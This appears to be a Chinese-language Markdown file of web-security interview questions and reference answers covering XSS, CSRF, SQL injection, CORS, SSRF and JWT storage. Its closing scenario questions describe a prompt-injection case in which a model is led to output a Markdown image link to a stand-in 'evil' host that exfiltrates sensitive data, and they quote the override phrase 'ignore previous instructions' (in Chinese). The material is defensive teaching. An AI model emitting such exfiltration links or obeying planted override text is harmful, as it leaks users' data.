Files
zhuangang/topics/cs/web-security/interview.md
T

68 lines
4.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
---
id: cs.web-security.interview
title: Web 安全面试题
type: interview
domain: cs
stack: [web-security]
tags: [XSS, CSRF, SQL 注入, CORS, SSRF, 面试]
level: basic
related: [cs.web-security.common-attacks]
week: [7, 14, 16]
---
# Web 安全面试题
## 基础
### 【基础】XSS 有哪几类?怎么防御?
**参考答案**:存储型(恶意内容存入数据库,展示给其他用户)、反射型(通过 URL 参数立即反射)、DOM 型(前端脚本把不可信数据写入 DOM)。防御:按上下文输出转义、富文本白名单清洗、避免 `innerHTML` 类 API、CSP、Cookie HttpOnly。
**追问**:Vue / React 默认安全吗?→ 文本插值默认转义;`v-html`、`dangerouslySetInnerHTML`、动态 `href`(`javascript:` 协议)仍有风险。
### 【基础】CSRF 的原理和防御?
**参考答案**:利用浏览器自动携带 Cookie 的特性,在恶意网站上向目标站点发起请求。防御:SameSite Cookie、CSRF Token(同步令牌或双重提交)、校验 Origin / Referer、状态变更不用 GET。
**追问**:用 `Authorization` 请求头传 Token(不用 Cookie)还有 CSRF 问题吗?→ 基本没有,因为浏览器不会自动附加该请求头;但 Token 存储在前端,要防 XSS。
### 【基础】为什么参数化查询能防 SQL 注入?
**参考答案**:SQL 结构和数据分开发送,数据库先编译语句结构,参数只会被当作值,不会改变语义。
**追问**:排序字段(ORDER BY)能参数化吗?→ 标识符一般不能参数化,要用白名单映射。
## 进阶
### 【进阶】CORS 是什么?常见的错误配置有哪些?
**参考答案**:浏览器的同源策略默认禁止脚本读取跨源响应,CORS 让服务器通过响应头声明允许哪些来源读取。错误配置:任意来源 + 允许凭证、原样反射请求的 Origin、白名单使用不严格的匹配(例如只检查后缀)。
**追问**:预检请求什么时候发生?→ 非简单请求(例如 `Content-Type: application/json`、自定义请求头、PUT / DELETE)时,浏览器先发 OPTIONS 询问。
### 【进阶】什么是 SSRF?怎么防?
**参考答案**:让服务器替攻击者访问其本不该访问的地址(内网服务、云元数据)。防御:协议白名单、解析域名后检查 IP 是否公网、禁止或逐跳校验重定向、固定使用校验过的 IP 连接(防 DNS 重绑定)、网络层限制出口。
**追问**:为什么只检查 URL 中的主机名不够?→ 公网域名可以解析到内网 IP;IP 有多种写法(十进制、IPv6 映射);重定向可以跳到内网。
### 【进阶】JWT 存在 localStorage 还是 Cookie?
**参考答案**:localStorage:不受 CSRF 影响,但 XSS 可以直接读取;HttpOnly Cookie:脚本读不到,但要防 CSRF(SameSite + Token)。多数场景推荐 HttpOnly + Secure + SameSite 的 Cookie,加 CSRF 防护和 CSP。
**追问**:Token 泄露了怎么办?→ 短有效期 + 刷新令牌、服务端维护吊销列表或会话版本号。
## 场景题
### 【场景题】AI 客服的回答以 Markdown 渲染,怎么防止 XSS?
**参考答案**:渲染器禁用原始 HTML,渲染后用白名单清洗,链接只允许 http(s),图片限制域名(防止数据外带),CSP 禁止内联脚本,Cookie HttpOnly;写成自动化测试。详见[AI 应用安全评审](scenarios/ai-app-security.md)。
**追问**:为什么图片也要限制?→ 攻击者可以通过提示词注入让模型输出 `![](https://evil/?data=敏感内容)`,浏览器加载图片时就把数据发出去了。
### 【场景题】你的 Agent 可以“访问用户提供的链接”,评审时要考虑什么?
**参考答案**:SSRF(内网和元数据地址)、重定向、DNS 重绑定、响应大小和超时、内容中的提示词注入(抓回来的网页可能包含“忽略之前的指令”)、隐私(是否允许访问带有个人信息的链接)。措施:URL 校验 + 出口代理 + 内容作为不可信数据处理 + 工具调用审计。
**追问**:怎么证明防住了?→ 用攻击载荷清单(内网 IP、各种 IP 写法、重定向到内网、非 http 协议)写成测试,在 CI 中运行,见[示例测试](examples/secure-api/test_secure_app.py)。